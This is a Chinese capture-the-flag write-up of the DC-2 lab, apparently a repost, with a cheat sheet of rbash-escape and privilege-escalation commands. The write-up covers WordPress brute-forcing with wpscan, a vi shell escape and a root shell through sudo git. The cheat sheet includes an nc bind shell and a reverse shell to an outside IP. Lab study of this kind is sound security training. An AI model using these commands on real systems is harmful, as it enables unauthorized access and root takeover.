小H靶场学习笔记:DC-2

news2025/4/8 20:55:54

DC-2

Created: November 10, 2023 3:01 PM
Tags: WordPress, git提权, rbash逃逸
Owner: 只会摸鱼

靶场过程

信息收集

  • 扫描存活主机,找到靶机ip:192.168.199.131(本机是192.168.199.129)
    在这里插入图片描述

  • 扫描端口开放协议

    在这里插入图片描述

    • 发现有80端口和7744,但80端口有重定向,尝试直接访问无法访问。 因重定向页面为http://dc-2/,固修改/etc/hosts文件,将靶机ip绑定在该网址,再次直接访问,可正常跳转。
      在这里插入图片描述
      在这里插入图片描述
  • 指纹识别
    在这里插入图片描述

    • 可尝试利用WordPress4.7的漏洞
    • 使用msf模块利用无果
  • 返回页面查看是否有其他信息提示

    • 发现了页面提供了flag提示信息
      在这里插入图片描述
      在这里插入图片描述

    • 提示了使用cewl 得到字典, 使用尝试使用身份登录

    kali密码攻击工具——Cewl使用指南 | 码农网

漏洞利用

  • 后台目录爆破一下,发现有login页面,访问一下,跳转到登陆页面。

在这里插入图片描述

在这里插入图片描述

  • 使用cewl输出字典,到文件dicts.txt
    在这里插入图片描述

  • 因使用的是WordPress,可使用专门针对此CMS的工具WPScan进行枚举用户名,并爆破。

    • 枚举用户名,得到三个用户。
      在这里插入图片描述
      在这里插入图片描述
  • 逐个对三个用户进行密码爆破。

    • wpscan --url dc-2 -U ‘admin,jerry,tom’ -P ~/Desktop/dicts.txt
      在这里插入图片描述

    • 只有jerry 和tom爆破出了密码

  • 尝试登录,jerry登陆成功,找到第二个flag
    在这里插入图片描述

    • 翻译一下,让寻找其他切入点,没办法,只剩下了7744端口的ssh服务了

在这里插入图片描述

提权

  • 尝试ssh登录,使用jerry和tom账号,使用jerry账号和密码,无论怎么尝试都无法登录,尝试使用tom账号和密码,成功登录。

    在这里插入图片描述

    • 尝试一些命令,发现都没有权限
      在这里插入图片描述
  • 应该是rbash,尝试rbash逃逸

    • 查看有哪些命令权限
      在这里插入图片描述

    • 使用vi设置shell

      • 直接输入vi进入编辑器页面,按esc+:输入命令set shell=/bin/bash回车后在输入:shell
        在这里插入图片描述
        在这里插入图片描述

      • 回车后会弹出如下页面,即成功,接下来要配置环境变量以正常执行命令。
        在这里插入图片描述

      • 配置完,即可正常执行shell命令
        在这里插入图片描述

      • 查看flag3文件,发现提示,让使用登录tom后用su命令切换到jerry

        在这里插入图片描述

      • 使用jerry的密码尝试登陆,发现成*
        在这里插入图片描述

  • 查找flag文件

    • find / -name “*flag*”
      在这里插入图片描述

    • 找到了flag4,得到了提示, git 提权
      在这里插入图片描述

    • 使用sudo git help config打开config页面

      • 输入!/bin/bash

        在这里插入图片描述

    • 回车后,弹出root交互shell,即成功,找到最后的flag读出。

      在这里插入图片描述

rbash逃逸

rbash是什么

它与一般shell的区别在于会限制一些行为,让一些命令无法执行。

简单理解就是最低权限的用户

如何设置rbash

cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令

逃逸方法

枚举Linux环境(为逃逸rbash做信息收集)

echo $PATH # 弹出当前PATH环境变量

echo 路径+ /* #路径使用最后为bin目录的,以找到当前所有可以执行的程序命令

常用逃逸技术

nmap

适用版本:nmap2.02至5.21

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中 通过如下命令提权

nmap> !sh

msf当中也有利用nmap进行提权的模块

exploit/unix/local/setuid_nmap

find

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

提权如下:

#进入shell
find anyfile -exec '/bin/sh' \; 或者 find anyfile -exec '/bin/bash' \;
#其中find 常用
find / -exec '/bin/bash' \; 或者 find / -exec '/bin/sh' \;

linux一般都安装了nc 我们也可以利用nc 广播或反弹shell

广播shell:

find user -exec nc -lvp 4444 -e '/bin/sh' \; 
#或者
find user -exec nc -lvp 4444 -e '/bin/bash' \; 

在攻击机上:

nc 靶机ip 4444

反弹shell

find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机上:

nc -lvvp 4444

Vim

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny  /etc/passwd

通过vim进入shell

vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

设置环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

Vi

通过vi进入shell

vi
#vi命令
:set shell = '/bin/sh' 或者 :set shell='/bin/bash'
:shell

设置环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

Bash

  • 方法一

BASH_CMDS设置shell

BASH_CMDS[x]=/bin/bash
#设置了个x变量shell
x
#相当于执行shell

设置一下环境变量

export PATH=$PATH:/bin/
 
export PATH=$PATH:/usr/bin/
  • 方法二

以下命令将以root身份打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

less命令也可以进入shell

less /etc/passwd
#在less中输入:
!/bin/sh 或者 !/bin/bash

more

more命令进入shell和less相同

more /etc/passwd
#在more中输入:
!/bin/sh 或者 !/bin/bash

要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano

nano也算是比较上古的文本编辑器了

nano进入shell的方法为

nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令

cp

使用cp 命令覆盖原来的/etc/passwd文件

awk

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

Git提权

  • 前提是执行sudo -l 提示不需要密码可以使用git命令

    在这里插入图片描述

方法一

sudo git help config #在末行命令模式直接输入 
!/bin/bash 或 !'sh' #完成提权

方法二

在这里插入图片描述

sudo git -p help #弹出help信息窗口
!/bin/bash #输入后,即可打开一个用户为root的shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1199069.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

通过 Elasticsearch 和 Go 使用混合搜索进行地鼠狩猎

作者:CARLY RICHMOND,LAURENT SAINT-FLIX 就像动物和编程语言一样,搜索也经历了不同实践的演变,很难在其中做出选择。 在本系列的最后一篇博客中,Carly Richmond 和 Laurent Saint-Flix 将关键字搜索和向量搜索结合起…

第23章(下)_索引原理剖析

文章目录 索引实现索引存储B树为什么 MySQL InnoDB 选择 B 树作为索引的数据结构?B 树层高问题关于自增id最左匹配原则覆盖索引索引下推innodb体系结构Buffer poolchange buffer 总结 索引实现 索引存储 innodb 由段、区、页组成。段分为数据段、索引段、回滚段等…

手把手带你创建一个自己的GPTs

大家好,我是五竹。 最近GPT又进行了大升级,这一下又甩了国内AI几条街,具体更新了哪些内容之前的一篇文章中其实已经说过了:ChatGPT 王炸升级!更强版 GPT-4 上线! 其中最重要的一点就是支持自定义GPT&…

【博士每天一篇文献-算法】Imposing Connectome-Derived Topology on an Echo State Network

阅读时间:2023-11-5 1 介绍 年份:2022 作者:Jacob Morra, Mark Daley 西部大学 期刊:2022 International Joint Conference on Neural Networks (IJCNN) 引用量:3 研究了果蝇连接图的拓扑结构对混沌时间序列预测中回…

IP-guard Webserver view 远程命令执行漏洞【2023最新漏洞】

IP-guard Webserver view 远程命令执行漏洞【2023最新漏洞】 一、漏洞描述二、漏洞影响三、漏洞危害四、FOFA语句五、漏洞复现1、手动复现yaml pocburp发包 2、自动化复现小龙POC检测工具下载地址 免责声明:请勿利用文章内的相关技术从事非法测试,由于传…

代码随想录算法训练营第18天|513. 找树左下角的值 112. 路径总和 113.路径总和ii 106.从中序与后序遍历序列构造二叉树

JAVA代码编写 513. 找树左下角的值 给定一个二叉树的 根节点 root,请找出该二叉树的 最底层 最左边 节点的值。 假设二叉树中至少有一个节点。 示例 1: 输入: root [2,1,3] 输出: 1示例 2: 输入: [1,2,3,4,null,5,6,null,null,7] 输出: 7提示: 二叉树的节点个…

Vue.js 学习总结(3)—— vite 打包图片时报错 Rollup failed to resolve import...

问题 图片依赖: Vite 打包前端项目时图片无法引入,报如下错误: ERROR [vite]: Rollup failed to resolve import "%7BlibeiDanmuKongmu%7D" from "D:/java/workspace/jeecgboot-vue3/src/views/funeral/tombInfo/area.vue?…

《数据结构、算法与应用C++语言描述》-队列的应用-工厂仿真

工厂仿真 完整可编译运行代码见:Github::Data-Structures-Algorithms-and-Applications/_19Factory simulation/ 问题描述 一个工厂有m台机器。工厂的每项任务都需要若干道工序才能完成。每台机器都执行一道工序,不同的机器执行不同的工序。一台机器一…

13年测试老鸟,稳定性测试要点+性能监控关键指标分析(详细)

目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 1、稳定性测试的要…

FlinkSQL聚合函数(Aggregate Function)详解

使用场景: 聚合函数即 UDAF,常⽤于进多条数据,出⼀条数据的场景。 上图展示了⼀个 聚合函数的例⼦ 以及 聚合函数包含的重要⽅法。 案例场景: 关于饮料的表,有三个字段,分别是 id、name、price&#xff0…

录制GIF图,动态图

软件下载链接: https://www.cockos.com/licecap/ 参考链接: https://chat.xutongbao.top/

<C++> stack queue模拟实现

目录 前言 一、stack的使用 1. 接口说明 2. 例题 二、模拟实现stack 三、queue的使用 四、模拟实现queue 五、deque 总结 前言 LIFO stack 1. 栈是一种容器适配器,专门设计用于在后进先出上下文(后进先出)中运行,其中元素仅从容器…

Linux之基本指令操作

1、whoami whoami:查看当前账号是谁 2、who who:查看当前我的系统当中有哪些用户,当前有哪些人登录了我的机器 3、 pwd pwd:查看我当前所处的目录,就好比Windows下的路径 4、ls ls:查看当前目录下的文件信…

搭建Docker

一、概念 云服务器大家肯定不陌生了,相比较传统物理服务器来说他的价格,个性化的配置服务,节省了很多的运维成本,越来越多的企业以及个人开发者更加的青睐于云服务器。有了属于自己的服务器就可以部署搭建自己个人网站了&#xf…

【博士每天一篇文献-模型】A mechanistic model of connector hubs, modularity and cognition

阅读时间:2023-11-10 1 介绍 年份:2018 作者:Maxwell A. Bertolero, B. T. Thomas Yeo 期刊: nature human behaviour 引用量:180 2 创新点 作者提出了一个机制模型,解释了连接中枢的功能以及其对认知表…

深度学习1【吴恩达】

视频链接:1.5 关于这门课_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1FT4y1E74V?p5&spm_id_frompageDriver&vd_source3b6cdacf9e8cb3171856fe2c07acf498 视频中吴恩达老师所有的话语收录: 机器学习初学者-AI入门的宝典 (ai-start.c…

知识蒸馏概述及开源项目推荐

文章目录 1.介绍2.知识2.1 基于响应的知识(response-based)2.2 基于特征的知识(feature-based)2.3 基于关系的知识(relation-based) 3.蒸馏机制3.1 离线蒸馏3.2 在线蒸馏3.3 自蒸馏 4.教师-学生架构5.蒸馏算法5.1 对抗性蒸馏(Adversarial Dis…

计算机组成原理第四章(存储系统)(一)

一、存储器概述 1.分类: 存取方式:随机存储器(RAM)、顺序存储器(SAM)、直接存储器(DAM) 存储介质:磁性材料存储器、半导体存储器、光存储器 功能和存取速度: …

docker stop slow 解决

验证 NanoMQ stop slow 的问题 daemon 和非 daemon 两种方式 docker stop 都很慢 疑问是默认情况下,SIGTERM 会被处理。 模拟 docker 内发送 SIGTERM 信号 # The default signal for kill is TERM # pkill will send the specified signal (by defau…

常微分方程

什么是常微分方程: 未知函数为单变量(一元)函数 例1 设有温度为100摄氏度的物体放置在20摄氏度的空气冷却,求物体温度随时间 变化 的规律。 解:设t时刻物体温度为T 对两边求共积分 设比例系数为k>0 令C, 微分方程: 联系着…